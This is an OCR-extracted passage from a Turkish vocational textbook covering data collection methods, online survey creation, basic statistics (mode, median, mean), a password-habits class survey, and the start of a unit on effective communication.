hakkinda dogrudan miidahale olmadan veri toplamak igin kullanighdir.

0 Sl Yeni gelistirilmis bir mobil uygulamayi kullanan herhangi bir bireyin
uygulamayi kullanirken karsilastigi hatalari ve bu hatalar karsisinda verdigi

tepkileri gdzlemleyerek kaydediniz. Kaydettiginiz gézlem verilerini rapor

haline getirerek 6gretmenize teslim ediniz ve sinifta raporunuzu sununuz.

5. Odak Gruplar

Odak gruplari, belirli sayidaki bir grup bireyi belirli konulari bir ortamda tartismak Uzere bir araya
getiren veri toplama yontemidir. Bu yontem genellikle katilimcilarin paylastigi fikirleri, algilari ve
deneyimleri anlamak icin kullanihr.

S

0 Web sitesi kullanici deneyimini iyilestirmek icin hangi o6zelliklerin veya
tasarim degisikliklerinin daha etkili oldugunu diisiinliyorsunuz? Daha iyi bir

kullanici deneyimi icin 6nerdiginiz fikirleri ve tercihleri sinifinizla paylasiniz.

1.2.2.2. ikincil Veri Kaynaklarindan Veri Toplama Yontemleri

ikincil veri toplama, 6nceden toplanmis verilerin farkli bir amag icin kullanilmasini ifade eder.
Arastirmacilar, mevcut verileri analiz edip yorumlayarak ihtiya¢c duydugu bilgileri elde eder. ikincil veri
kaynaklarindan veri toplamak icin bazi yontemler mevcuttur. Bu yontemler; yayinlanmis kaynaklar,
cevrimici veri tabanlari, kurumsal kayitlar, kamuya acik veriler ve ge¢cmis arastirmalardir.

¢ Yayinlanmis Kaynaklar

Arastirmacilar; ilgili verilere sahip kitaplara, akademik dergilere, dergilere, gazetelere, hiikiimet
raporlarina ve diger yayinlanmis materyallere basvurur. Buralardan elde ettikleri verileri kendi
arastirmalarinda ve problemlerin ¢6ziminde kullanabilirler.

e Cevrimici Veri Tabanlari

Bircok cevrimigi veri tabani; arastirma makaleleri, istatistiksel bilgiler, ekonomik veriler, sosyal
arastirmalar gibi gesitli ikincil verilere erisim saglar. Genellikle bilimsel makalelerin yer aldigi veri
tabanlari ile Ulusal Tez Merkezi web sitesi ve TUBITAK Erisimine Acik Elektronik Bilgi Kaynaklari
web sitesi veri toplama igin kullanilan en 6nemli kaynaklardandir.

e Kurumsal Kayitlar

Devlet kurumlari, arastirma kurumlari ve diger organizasyonlar genellikle arastirma amaglari
icin kullanilabilen veri tabanlari veya kayitlar tutar. YSK, TUIK gibi kurumlarin belirli ddnemlerde
acikladiklari veriler bunlara érnektir.

e Geg¢mis Arastirma Calismalari

Daha Once yapilan arastirmalar ve elde edilen bulgular, degerli ikincil veri kaynaklari olarak hizmet
edebilir. Arastirmacilar icgori elde etmek veya mevcut bilgileri gelistirmek icin bu verileri gbzden
gecirebilir ve analiz edebilir.
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e Kamuya Acik Veriler

Kisiler, kuruluslar veya topluluklar tarafindan halka agik platformlarda, web sitelerinde veya sosyal
medyada paylasilan verilere erisilebilir ve arastirma igin kullanilabilir.

1.2.3. Veri Toplama Yontemlerinin Kullaniimasi

Veri toplama yontemlerinden biri olan anketin nasil hazirlanmasi gerektiginin bilinmesi gerekir. Bir
anket hazirlamak igin 6ncelikle planlama yapilmalidir. Bu planlama iginde anket metoduyla sorulan
sorularin hangi konulari kapsayacagi, sorularda kullanilacak kelimelere karar verme, hangi tiir sorulara
yer verilecegi, sorularin hangi sirada sorulacagi ve analizi yer almalidir.

Bir anket uygulamasi cevrimigi veya matbu belge ile yapilabilir. Ankette bulunmasi gereken bélimler ve
anket calismalarinda anketi cevaplayan kisiler icin sunulmasi gereken bilgiler sunlardir:

¢ Anketi yapan kisi veya kurumun adi

e Anketi yapan kisi veya kurumun iletisim adresi

e Anketin basligi ve konusu

e Anketin tarihi

¢ Anketi cevaplayana ait kisisel bilgiler

e Anket sorulari

1. UYGULAMA Bahsedilen planlama ¢ercevesinde 6grenciler igin ¢evrimigi egitim
analizi arastirmasi anket uygulamasi gelistirilecektir. Bunun igin
asagidaki adimlari takip ediniz.

1. Adim: Ucretsiz hizmet veren Drive uygulamasini web tarayicinizdan aginiz (Gorsel 1.3).
L Drive Q Drive'da arayin

4+ Yeni Drive''m ~

Drive'm | Tar ~ | | Kullanicilar  ~ | [ Degistirilme: ~

Bilgisayarlar

Benimle paylasilanlar
En son

Yildizh

Spam

Cop kutusu

D6 x%x0lkibD

Depolama alam

Gorsel 1.3: Anket calismasi icin cevrimici web araci ekran gorintisi
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2. Adim: Yeni digmesine basarak Formlar secenegini seciniz [Gorsel 1.4 (1)]. Ardindan Bos form
secenegine [Gorsel 1.4 (2)] tiklayiniz.

L Drive Q. Drive'da arayin

Ca  Yeniklasor m -

][ Kullanicilar  ~ “r Degistirilme: ~

Dosya y(kleme

Klasor yikleme

8 Dokimanlar »
E-Tablolar > =
Slaytlar b J—
8 w Formlar 1 > BB form - - ;
Diger ’ Bos test ‘
¢ Depolama alani Sablondan
Eslv el I

Gorsel 1.4: Yeni bir form olusturma

3. Adim: Acgilan pencerede anket sorularini ve bir ankette bulunmasi gereken unsurlari (baslik, konu,
anketi yapan kuruma ait bilgiler vb.) diizenleyiniz (Gorsel 1.5).

Basliksiz form

Form agiklamasi

Basliksiz Soru &) ® Coktan secmell -

1. Secenek

Segenek ekle veya "Diger” segenegi ekle

0 m Gerekli

I 7 3 - B (= I

Gorsel 1.5: Anket olusturma ekran gériinimu
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4. Adim: Ankete baslik, aciklama ve iletisim bilgilerini ekleyiniz (Gorsel 1.6).

hazirlanmigtir.

iletisime gecebilirsiniz.

Sorular Yanitlar Ayarlar

Ogrenciler icin cevrimici egitim analizi arastirmasi

Bu anket calismasi Mesleki ve Teknik Anadolu Liselerinde 6grenim goren Siber Glvenlik Alani 6drencilerinin
cevrimigi egitimlere olan ilgisini analiz etmek igin Sistem Giivenligi Ders Kitabi Hazirlama Komisyonu'nca

Herhangi bir sorunuz igin 0312 123 45 67 numarali telefondan veya sgdkhk@1a2b3c.tr e-posta adresinden

nmpeF®woe

Evet

Hayir

Daha once gevrimigi bir egitime katildimz mi?

Gorsel 1.6: Ankete baslik, konu, iletisim bilgileri vb. eklenmesi

5. Adim: Ankete soru eklemek icin dnce soru yaziniz [Gorsel 1.7 (1)], ardindan soruya verilecek cevap
tlrlini seginiz [Gorsel 1.7 (2]) ve ilgili cevap tlrlne ait segcenekleri yaziniz [Gorsel 1.7 (3)].

Sorular Yanitlar  Ayarlar

Ogrenciler IEIF CEVFIFIIg egitivi dp=t= e

= Kisayanit
Bu anket ¢alismasi Mesleki ve Teknik Anadolu Liselerinde &grenim géren
cevrimici egitimlere olan ilgisini analiz etmek icin Sistem Giivenligi Ders = paragraf
hazirlanmigtir.
Herhangi bir sorunuz igin 0312 723 45 67 numarali telefondan veya sgadl
iletisime gegebilirsiniz. @ Coktan segmeli 2
Onay kutular
() Acilir meni ®
Daha ¢nce gevrimici bir editime katildiniz mi? |1 [ D
¢ty Dosya yikleme
Evet Tr
2 m
Hayir == Dogrusal dlgek
aee E‘
Secenek ekle veya "Diger” secenedi ekle 3 Coktan segmeli tablosu
=
HH Onay kutusu tablosu —
L1 1]
(
5] Tarin -
® Saat

Gorsel 1.7: Ankete ¢oktan segmeli soru eklenmesi
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6. Adim: Yeni bir soru eklemek icin sag tarafta bulunan arti (+) sembollne basip [Gorsel 1.8 (1)]
derecelendirme icin yeni bir soru ekleyiniz ve sirasiyla Gorsel 1.8'daki 2, 3 ve 4 ile gosterilen islemleri

gerceklestiriniz.

Daha &nce gevrimici bir egitime katildimiz mi?

Evet
Hayir
1
°
Cevrimigi 6grenmeye hazir olma durumunuzu 1-5 [l =+ Dogrusal dlgek -
arasi bir dlgekte nasil degerlendirirsiniz? 2
3
Tr
1 ~ 5 « Q
&
1 ' -
Hig hazir degilim —=
4 =
5  Cok hazinm —
|_|:I I} Gerekli

Gorsel 1.8: Ankete farkli cevap tiriinde yeni soru eklenmesi

7. Adim: ihtiya¢c duydugunuz kadar yeni soru ekleyiniz (Gérsel 1.9).

internet 6zellikli bir cihaziniz var mi?

O Evet
O Hayir

Bilgisayari okul disinda ne siklikla kullanirsimz?

O Her zaman

O Nadiren

O Okul saatinden sonra

Gorsel 1.9: Eklenmis sorularin gérinimi
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8. Adim: Anketin nasil goriindtgini goérmek icin 6n izleme digmesine (géz semboliine) basiniz.
Anketi tamamladiktan sonra yanitlamasini istediginiz kisilere linkini gondermek icin Gonder
diigmesine basiniz (Gorsel 1.10).

o 2]~ - [IEEE

On izleme Anketi
gonderme

Sorular Yanitlar Ayarlar

okul diginda ne siklikla kullanirsiniz?

nan

iatinden sonra

ri internetten temin etme konusunda ne kadar yetkinsiniz?

A untbinim

Gorsel 1.10: Anketin 6n izlemesi ve alicilara gonderilmesi

9. Adim: Anket e-posta adresi bilinen kisilere gonderilebilir [Gorsel 1.12 (1)]. E-posta adresleri
yazildiktan sonra Gonder digmesine basilir. Hazirlanan anket g¢alismasi baskalari ile paylasiimak
istenirse bunun icin paylasim linki olusturulmalidir. Paylasim linki olusmak icin Gorsel 1.12, 2inci
pencerede “Sununla génder” alanindaki kirmizi cerceve ile gosterilen link semboliine tiklandiktan
sonra pencerenin sag kisminda bulunan “Kopyala” butonuna basilir. Bu sayede ankete ait paylasim
linki olusturulmus olur. Bu link mesaj veya eposta gibi araclarla paylasilabilir.

.
Formu génder X || Formu génder x
E-posta adreslerini topla Toplama - E-posta adreslerini topla Toplama -
Sununla génder: [ (<o) <> | £) ¥ Sununla génder: B (<] <2 [ £) ¥
E-posta Baglanti
At Ihttps://forms.gle/sJ8SEncSD5bBAKTS
Ad veya e-posta adresi girin URLYyi kisalt

iptal Kopyala
Konu

u

Ogrenciler igin cevrimici egitim analizi arastirmasi

2

Mesaj

Sizi bir formu doldurmaya davet ettim:

D Formu e-postaya ekle 1

2+ Diizenleyen ekle Iptal Gonder

Gorsel 1.11: Anketin e-posta adreslerine dogrudan gonderilmesi veya anket baglantisinin elde edilmesi
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10. Adim: Anket sonug analizi istenirse ¢evrim ici olarak yapilabilir. Cevrimici anket sonuglari otomatik
olarak yapilir ve sonuglar bir rapor seklinde gosterilir. Anket analizi icin sayfanin yukarisindaki Yanitlar
sekmesini tiklayiniz (Gorsel 1.12) ve tiim sorulara verilen yanitlara ait grafiksel bilgilerin bu ekranda
yer aldigini gozlemleyiniz.

Sorular Yanitlar @ Ayarlar

10 yanlt E-Tablolar'a bagla

Yanitlar kabul ediliyor .

Ozet Soru Bagimsiz
Daha &nce gevrimici bir editime katildimz mi? 10 kopyala
10 yanit
@ Evet
@ Hayr
Cevrimici 8grenmeye hazir olma durumunuzu 1-5 arasi bir dlgekte nasil IO kopyala

degerlendirirsiniz?

10 yanit

Gorsel 1.12: Anket sonuglarinin grafiklestirilmesi

1.2.4. Verilerin istatistiksel Analizi

Verilerin analizi igin veri setine ait mod, medyan (ortanca) ve aritmetik ortalama hesaplanmalidir. Mod
ve medyan, istatistiksel olarak hazirlanmis bir veri setinin merkezi egilimini belirlemek icin kullanilan
onemli 6l¢llerdir. Mod, bir veri setinin tepe degerini ve donemecini ortaya ¢ikarir. Medyan ise veri seti
dagiliminin merkezini daha glivenilir bir sekilde temsil eder.

1.2.4.1. Mod

istatistiki bir veri setinde en sik gériilen degere mod denir. En sik goriilen deger, en fazla tekrar eden
degerdir. Verisetindeki en blyiik sayi demek degildir. Bazen birden fazla deger ayni sayida tekrar edebilir.
Bu durumda mod degeri bu sayilarin kendileridir. Bir veri setinde tekrar eden bir deger bulunmayabilir.
Bu durumda mod da bulunmaz.

7 6grencininagirliklarindanolusanbirseride [61,67,41,34,55,35,67] digerlerinden
Jm daha fazla (2 defa) tekrar eden say1 67’dir. O halde bu sette mod, 67dir.
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1.2.4.2. Medyan (Ortanca)

Medyan (ortanca) bir veri setindeki verilerin kiiglikten blylge dogru siralandiktan sonraki orta puanini
gosterir. Bunun igin veri setindeki veriler buytkliklerine gore siralanir. Veri sayisi tek ise n+1/2 sira
numarall deger ortanca olarak alinir. Veri sayisi ¢ift ise n/2 sira numarali deger ile bir sonraki degerin
(n/2+1) aritmetik ortalamasi, veri setinin ortanca degeri olarak kabul edilir.

5, 10, 15, 20, 25, 30 ve 35 seklinde verilen bir veri setinde medyan degerini
bulmak igin dnce kag adet veri oldugu sayilir. Toplam 7 adet sayinin yer aldigl
bu veri setinde (n+1)/2 formulinde n yerine 7 yazilarak 4 sonucu bulunur. Veri
setine ait medyan degerinin 4. sirada bulunan 20 oldugu goérilir.

1, 20, 3, 7, 6, 67, 11 ve 25 seklinde verilen veri setinde medyan hesabi icin
oncelikle veri seti blyuklik siralamasina sokulmalidir. Bu islemden sonra veri
seti 1, 3,6, 7, 11, 20, 25, 67 seklinde gorindr.

Toplamda 8 adet sayidan olusan veri setinin medyan degerini hesaplamak igin sirasiyla su islemler
yapilr:

e n/2 formilinde n yerine 8 yazarak sonug 4 bulunur.

e Veri seti cift sayidan olustugu icin bulunan 4 ile sonraki deger (5. deger) toplanarak ortalamasi
alinir.

e 4.deger7ve5.deger 11 olduguicin (7 +11) / 2 =9 olarak bulunur. Bulunan 9 degeri bu veri setinin
medyan degeridir.

Analiz islemlerinde mod ve medyanin kullaniimasinin temel nedenleri sunlardir:

e Asini Degerlerin Etkisini Azaltmak

Veri setinin ortalamasi asiri degerlerin varligindan etkilenebilir ve genel dagilimi bozabilir.
Dolayisiyla medyan, asiri degerlerin oldugu durumlarda daha uygun bir merkezi egilim 6lcisi
olarak kullanihr.

e Veri Setinin Dagilimini Daha iyi Anlamak

Mod, veri setindeki en sik tekrar eden degeri gosterirken medyan ise veri setini ortadan ikiye boler.
Bu nedenle veri setinin yayginligini ve genel dagilimini anlamak i¢in bu 6l¢tlerden yararlanilir.

1.2.4.3. Aritmetik Ortalama

Veri setindeki gozlenen degerlerin tamami toplanarak gozlem sayisina boélindigiinde elde edilen
degere aritmetik ortalama denir.

4 2 10, 20, 30, 40, 50, 60, 70 ve 80 olarak verilen bir veri setinin aritmetik
ortalamasini bulmak i¢in dnce tim sayilar toplanir ve sayi adedine bollnir.
T Cikan sonug aritmetik ortalamayi verir. Aritmetik ortalamayi hesaplamak igin

su islemler yapihr:
e Sayilarin toplami = 360'tir.

¢ Sayi adedi = 8'dir.

¢ Aritmetik ortalama (360 / 8) = 45 olarak bulunur.
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Tekrarl sayilarin oldugu bir setin analizinde dncelikle sayinin sikligi (frekansi) hesaplanmalidir.

_ Grafik 1.1'te “Cevrimici 6grenmeye hazir olma durumunuzu 1-5 arasi bir dlgekte
m nasil degerlendirirsiniz?” sorusuna 6grencilerin verdigi cevaplar grafik seklinde
oy gosterilmistir. Buna gore Ogrencilerin verdigi cevaplarin aritmetik ortalamasi

nasil hesaplanmaldir?

Cevrimigi 6grenmeye hazir olma durumunuzu 1-5 arasi bir 6lgekte nasil
degerlendirirsiniz?

10 yanit

6 (%60)

4 (%40)

0 (%0) 0 (%0) 0 (%0)

1 2 3

Grafik 1.1: Aritmetik ortalama hesabi icin 6grencilerin cevaplarini gosteren grafik

6|gijm (X) Frekans (f) X Oncellk.le. graflgujl sikhk tablosuna donu§turulme5| gerekir.
Bunun igin her bir se¢enek ve o segenege verilen oy sayisi

1 0 0 tabloya aktarilir. Bu iki degerin garpimi, yeni bir tablo
2 0 0 sutunu olarak yazilir (Tablo 1.1).

3 0 0 Frekansa ait toplam deger hesaplanir.

4 4 16

5 6 30 e 0+0+0+4+6 frekans degerleri oldugu igin top-

lam frekans (n) = 10 olarak hesaplanir.

Tablo 1.1: Ol¢iim ve frekans tablosu ..

e Ardindan toplam fX degeri hesaplanir.

e 0+0+0+16+ 30 fX degerlerinin toplami
(> fX) = 46 olarak hesaplanir.

Ogrencilerin gevrimici grenime hazir olma durumu aritmetik ortalamasi ise

e 5 fX/n formiliinden 46/10=4,6 olarak bulunur.

S Atiklarin geri dondsimi veya yenilenebilir enerjinin kullanimi ile ilgili bir
0 anket hazirlayiniz. Anketinize farkh tiirde cevaplar alabilecek sorular ekleyiniz.
Hazirladiginiz anketi sinif arkadaslariniza ve onlarin ailelerine gonderiniz. Anket
sonuclarini hem otomatik olarak hem de istatistiki analiz olarak raporlastiriniz.
Raporunuzu sinifta sinif arkadaslariniza ve 6gretmeninize sununuz.
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SIRA

am Sinifinizda, veri givenligi ve sifreleme ile ilgili bir arastirma yapiniz. Bu\

arastirmayi yapmak icin bazi verileri toplamaniz amaciyla sinif arkadaslariniza
anket uygulamaniz gereklidir. Anketinizi hazirlarken ankette bulunmasi
gereken bolimlere ve anket calismalarinda uyulmasi gereken kurallara dikkat ediniz.
Hazirlayacaginiz ankete, asagidakilere benzer sorular yaziniz ve anketi arkadaslariniza

uygulayiniz.

E-posta hesabiniza koydugunuz sifreniz kac karakterden olusur?

Sifreniz; kiglik harf, blyuk harf, rakam ve sembol iceriyor mu?

Sifrenizi en son ne zaman degistirdiniz?

Sifreniz, cihazinizda (bilgisayar, tablet, telefon vb.) saklaniyor mu?

E-postaniza erisimde, iki asamali dogrulamayi kullaniyor musunuz?

Sifreniz; adiniz, soyadiniz, dogum tarihiniz gibi tahmin edilebilir bilgiler igeriyor mu?

Ayni sifreyi baska bir e-posta veya hesapta kullaniyor musunuz?

Topladiginiz verileri analiz etmeniz ve sonuglarini paylasmaniz amaciyla arkadaslariniza uyguladiginiz
anketin sonuglarini tablo haline getiriniz. Verilerinizi, grafik veya infografiklerle gorsellestiriniz. Elde
ettiginiz sonuglar 1si8inda, glivensiz sifrelerin gliglendirilmesi ile ilgili arastirma yaparak sifreleri giivenli
hale getirmek igin Onerilerinizi maddeler halinde siralayiniz. Arastirma sonuglarinizi bir rapor haline
getirip 6gretmeniniz rehberliginde sinifinizda raporu sununuz.
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OLCME VE DEGERLENDIRME

Asagidaki sorulan dikkatlice okuyarak dogru cevabi isaretleyiniz.

1. Asagidakilerden hangisi [41, 3, 17, 9, 21, 36, 41, 17, 52, 41] veri setinin mod degeridir?
A)3 B) 17 C)21 D) 41 E) 52

2. Asagidakilerden hangisi [11, 64, 67, 77, 10, 25, 50, 34, 99, 6] veri setinin medyan degeridir?
A) 11 B) 34 C) 42 D) 50 E) 67

3. Asagidakilerden hangisi [5, 10, 16, 24, 8, 30, 59, 26, 21] veri setinin aritmetik ortalamasidir?
A)8 B) 21 C) 30 D) 33 E)59

4. Asagidakilerden hangisi bir anketin yapisinda yer almaz?
A) Anket bashgi
B) Anketin tarihi
C) Anketi yapan kurumun iletisim bilgisi
D) Anket sorulari

E) Anketi cevaplayan kisinin imzasi

5. Asagidaki veri toplama araglarindan hangisi birincil veri kaynaklarina uygulanamaz?

A) Anketler

B) Cevrimigi veri tabanlari
C) Deneyler

D) Goriusmeler

E) Gozlemler




‘ 2. OERENME BIRIMi

ETKILI ILETISIM VE SUNUM TEKNIKLERI

KONULAR

2.1. ETKILi iLETiSIM + iletisim kavrami

2.2. ETKILI iLETiISIM TEKNIKLERI « iletisim stirecinin temel 6geleri

2.3. SUNUM HAZIRLAMA « iletisim tlrleri ile birlikte iletisim
TEKNIKLERI teknikleri

» Sunum turleri

« Etkili sunum hazirlama teknikleri

ANAHTAR KAVRAMLAR

Beden dili, empati, geri bildirim, garltd, ileti, iletisim, kanal, kaynak, mesaj sunum




2. OGRENME BiRiMi

a'r HAZIRLIK GALISMALARI

1. Kurdugunuz iletisimin etkili olup olmadigini nasil anlarsiniz? Duslincelerinizi
arkadaslarinizla paylasiniz.

2. Gunluk hayatinizda en sik kullandiginiz iletisim yontemi nedir? Nedenleriyle
birlikte agiklayiniz.

3. Kalabalik bir gruba herhangi bir konu hakkinda bilgi vermek veya bir seyin taniimini yapmak
isteseniz nasil bir yol izlerdiniz? Ornekler vererek aciklayiniz.

2.1. ETKILi iLETiSIM

iletisim, insanlik tarihiyle baslayip giiniimiize kadar uzanan ve devam eden bir siirectir. insanlar, gesitli
sesler g¢ikararak, isaretler kullanarak veya sekiller cizerek birbirleriyle iletisim kurmaya calismislardir.
iletisim giinliik hayatin ayrilmaz bir pargasidir. Giinliik hayati devam ettirebilmek icin herkes iletisim
kurmak zorundadir.

Turk Dil Kurumu (TDK) Glncel Tirkce Sozllk, iletisim kelimesini "Duygu, diisiince veya bilgilerin akla
gelebilecek her tirll yolla baskalarina aktarilmasi; bildirisim, haberlesme, komiinikasyon." olarak
tanimlar. Sorun ¢ozmek, anlamak, anlatmak, bilgi vermek, yon vermek, ikna etmek, paylasmak,
degistirmek gibi bircok unsur iletisimin amaclari arasinda sayilabilir.

Etkili iletisim; fikir, bilgi, dislince, veri veya mesajlarin secilen bir yontem yahut kanal araciligiyla net
ve anlasilir bir sekilde gondericiden aliciya iletilmesi strecidir. Etkili iletisimin pUf noktasi, séylenmeye
¢alisilan seyin alici tarafindan tam olarak anlasilip anlasiimadigidir. Gézden kagirilan bazi detaylardan
dolayi etkili ve saglikh iletisim kurmakta zorluk yasanir. iletisim yiiz yiize veya cesitli sosyal medya
platformlari kullanilarak gerceklestirilebilir. Bir isaret, bakis, glilimseme vb. s6zsiz iletisim; agizdan
cikan bir sz, tartisma vb. sozli iletisim ve kitle iletisim araclari, bilgisayar, telefon, uydu gibi teknolojik
araglar aracihigiyla gonderilen iletiler iletisim sozctigl kapsamindadir (Sekil 2.1).

Yazili olan
her seydir.

Goz Gazetedir,
temasidir. televizyondur.

ILETiSIM
Sag Sozlii olan
bigimidir. her seydir.

Susmaktir. Giilmektir.

Sekil 2.1: iletisim kavraminin kapsami
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2.1.1. iletisim Siirecinin Ogeleri

iletisim siireci, kaynagin iletmek istedigi iletiyi kodlayarak aliciya iletmesi siirecidir. iletilmek istenen
mesajin alici tarafindan anlasilir, yalin ve algilanabilir olmasi gerekir. iletisim siireci belli amaclari
gerceklestirmek icin kullanilan égelere sahiptir. iletisim siirecinde bes temel 6ge vardir (Sekil 2.2).
Bunlar; kaynak, mesaj, kanal, alict ve geri bildirimdir. Gondericinin zihninde olusturdugu mesaiji
kodlamasiyla iletisim siireci baslar. S6z konusu kodlama; sozciikler, rakamlar, semboller veya beden dili
gibi unsurlardan olusur.

Mesaj (ileti) ~  Kanal(Arag)

Kaynak
(Gonderici) Hedef (Alici)

4

Geri Bildirim
(Dont)

Sekil 2.2: iletisim siirecinin temel 6geleri

Kaynak (Gonderici): iletisim siirecini baslatan taraftir. Gonderilmek istenen mesaji sdzciik, rakam,
sembol, isaret vb. olarak bir kanal araciligiyla aliciya génderir.

Mesaj (ileti): Kaynak tarafindan aliciya génderilen her tiirlii iletidir. Mesaj, kaynagin aliciya iletmek is-
tediklerini s6zIU, s6zsliz veya yazili sembollere donistlirmesidir. Mesajin agik ve anlasilir olmasi gerekir.

Kanal (Arag): Mesaji kaynaktan aliciya tasiyan aractir. insanlarin duyu organlari (gérme, dokunma,
duyma, koku ve tat alma) onlarin iletisim kanallarini olusturur. Telefonla iletisimde kanal, telefon
hatlaridir. E-posta yoluyla iletisimde kanal, internet hattidir. S6zli iletisimde ise kanal, havadir.

Hedef (Alici): Kaynak tarafindan gonderilen mesaji alan taraftir. Sozli iletisimdeki alici dinleyen kisi,
yazili iletisimdeki alici ise gonderilen mesaji okuyan kisidir.

Geri Bildirim (Doniit): Alicinin, kaynagin gonderdigi mesaja verdigi yanittir. Etkili iletisimde geri bildirim
olmazsa olmaz bir dgedir ¢linkii iletisim ¢ift yonli bir siirectir. iletisimin ¢ift yénli olabilmesi igin alicinin
herhangi bir geri bildirim vermesi sarttir. Mesajin anlasilip anlasilamadigi ancak geri bildirim sayesinde
Olcllebilir. Geri bildirim pozitif veya negatif olabilir. Alicinin, kaynagin gonderdigi mesaji dogru algilayip
kaynaga da dogru iletmesi pozitif geri bildirim; mesaji eksik veya yanlis anlayip kaynaga da bu sekilde
iletmesi ise negatif geri bildirimdir.
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Ogretmen: Print fonksiyonunun gérevi nedir?

Ogrenci: Verilen mesaji ekrana gdndermektir.

Kaynak: Ogretmen

Hedef: Ogrenci

Mesaj (ileti): “Print fonksiyonunun gérevi nedir?” sorusu
Kanal: Ses

Donit (Geri Bildirim): “Verilen mesaji ekrana géndermektir.” yaniti

0 SIRA Asagidaki iletisim surecindeki iletisim dgelerini tespit ederek neler olduklarini

m ilgili bosluklara yaziniz.

Selda: Algoritma akis semasi sembollerini selda@.....com mail adresime gonderir misin?

Adnan: Hemen gonderiyorum.
Kaynak (Gonderici) : .......cccoevvveeeveceeeeiiecne, Hedef (ANCE) & ooeveveeeeeecececeee e
Mesaj (Ileti) : ..oovveeeerceeeeeceee e Kanal (Arag) & ..c.ooecvveeeeeeeeeeeecteeeev e

Geri Bildirim (DOnUt) : .........ccoeeeeveveceeene

iletisimin temel dgelerinin yani sira ikincil 6geleri de mevcuttur. iletisimin ikincil dgeleri; kod, gurilt,
ortam ve filtredir. Gondericiden aliciya giden her mesaj kodlanarak aktarilir. Kod, iletinin kaynak ve
hedefin anlayacagi sekle donismesidir. Rakamlar, harfler, isaretler, gérintiler kodlanmis unsurlardir.
Gondericiden aliclya giden mesajlarin tiimi kodlanir. Kodlama, génderici tarafindan aktarilacak olan
bilgi, duygu ve diisiincenin anlaml bir sekilde yapilandirilarak mesaj formatina getirilmesidir. Kod agma,
kodlanan iletinin yorumlanarak anlamli bir hale getirilmesi bir baska deyisle iletilerin ses, goriinti, isaret
veya harf olmaktan ¢ikararak anlamli hale getirilmesidir.

Guralti, mesajin iletim slrecini olumsuz etkileyen etkenlere verilen addir. Bunlar fiziksel, psikolojik,
kllturel veya norofizyolojik glriltuler seklinde olabilir.

Ortam (baglam), iletisimin gerceklestigi yerdir.

Filtre, mesajin algilanip yorumlanmasi isleminin genel adidir.

S
0 Sinifta beser kisilik gruplar olusturarak iletisimi olumsuz yonde etkileyebilecek
veya engelleyecek fiziksel, psikolojik, kiltlirel ve norofizyolojik gurultl

gesitlerine ikiser 6rnek veriniz.
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: Ahmet Bey’in cep telefonuna “Kredi karti 6demeniz olan 1300 TL'yi lg (3)

taksitle 6demek istiyorsaniz Tamam butonuna tiklayiniz.” seklinde bir mesaj

gelir. Bu iletisim surecinin ogelerini tespit ederek neler olduklarini ilgili
bosluklara yaziniz.

Gonderici (ileten/Kaynak): ............cccccovvevenennenee. Alici (Hedef): ......oovvveeeeeeeeeeee
Mesaj (I1eti): ....o.oveereeeeereeeeeeeee e Kanal: ...
DoOniit (Geri Bildirim): ..........cccovvveveviiiieeceees

2.2. ETKILi iLETiSIM TEKNIKLERI

Bir iletisim sUrecinde basarili olabilmenin yolu, etkili iletisim becerilerini dogru kullanmaktan gecer.
2.2.1. iletisim Tiirleri

iletisim birden ¢ok tiirde olabilir. Bu tiirler; sézlii iletisim, sézsiiz iletisim ve yazil iletisim seklindedir.

2.2.1.1. Sozlii iletisim

insanlarin duygu ve disiincelerini karsi tarafa sézli olarak iletmesi

' sozlii iletisim olarak adlandirilir (Goérsel 2.1). Sozli iletisim konusma
- - yoluyla gergeklestirilir. Etkili bir sozli iletisim icin mesaji iletmek
W [ isteyen kisinin dogru kelimeleri dogru kanal kullanarak iletmesi,

S alicinin ise vericinin ne anlatmak istedigini dogru anlamasi gerekir.

!&e-.-?::a .-——‘ Kelimeleri dogru ve anlasilir bir bigimde séyleme, ses tonu vurgusu ve

— ' yuksekligi, hitap sekli, samimi ve agik s6zli olma, s6z, jest ve mimikleri

Gorsel 2.1: S6zlii iletisim uyumlu olarak kullanma, soru sorma, sdyleneni dinledigini belli etme
gibi unsurlar s6zIU iletisim becerileri arasinda sayilabilir.

2.2.1.2. Sozsiiz iletisim

Sozsiiz iletisim (Gorsel 2.2) konusma olmadan beden dili kullanilarak gerceklesen iletisimdir. S6zsiiz
iletisimle duygu ve coskular yetkin bicimde dile getirilir. Kiiltlirlere gore degisebilen sézsiiz iletisim ve
kllturlere gore degismeyen evrensel s6zsliz iletisim 6geleri vardir. Evet veya hayir anlamina gelen bas
hareketleri yahut bazi yiiz ifadeleri ortak s6zsiiz iletisime 6rnek verilebilir.

Gorsel 2.2: Sozsiiz iletisim
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Beden dili kullanimi (Gorsel 2.3) iletisimde olduk¢a 6nemlidir. Beden dili duygu ve distncelerin
yansimasidir. Beden dilinin 6geleri; dis gbriiniim, giysi ve takilar, oturmak icin segilen yer, oturma bigimi,
bedenin durusu, goz temasi, iletisim mesafesi, mimik, jest, bas hareketleri vb. seklinde sayilabilir. Beden
dilini etkili ve dogru kullanan kisiler is ve sosyal yasamlarinda olumlu izlenimler birakir. Beden dilini
hatali kullanan kisiler ise is hayatlarinda ve sosyal iliskilerinde bazi sikintilar yasayabilir.

Gorsel 2.3: Beden dili kullanimi

2.2.1.3. Yazili iletisim

Yazili iletisim, iletiimek istenen mesajin belli kurallara gore yaziya dékilmesiyle gergeklestirilen iletisim
tlradir (Gorsel 2.4). Sozll iletisimde yasanan iletisim kazalari yazili iletisimde daha az yasandigi igin
daha glivenilir ve baglayicidir.

*

S S0
S [

Gorsel 2.4: Yazili iletisim
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2.2.2. Etkili iletisim Teknikleri

Etkili bir iletisim kurmanin yolu, iletisim 6gelerini dogru kullanmaktan gecer. iletisimin temel hedefi
kendini dogru bir sekilde ifade etmek ve karsisindakini dogru bir sekilde anlamaktir. Duymak ve
dinlemek, empati yapmak, beden dilini dogru kullanmak ve sézcikleri dogru se¢cmek etkili iletisim
kurulmasinda 6nemli faktorlerdir.

2.2.2.1. Algi

Bireylerin i¢c ve dis dinyanin farkina varmasi algiyla baslar. Algi, TDK'ye gore “Bir seye dikkati
yonelterek o seyin bilincine varma, idrak” anlamina gelir. Algi, duyu organlarindan (goz, kulak, burun,
dil ve deri) beyne ulasan verilerin (ses, koku, gorlintli, dokunus ve tat) 6rgitlenmesi, yorumlanmasi
ve anlamlandiriimasidir. Algiyi etkileyen en dnemli siire¢ dikkattir. insanlar algi ve dikkat becerileri
sayesinde dis diinyayi tanir. insanin diinyay algilama sekli, onun kendini de nasil ifade edecegini belirler.
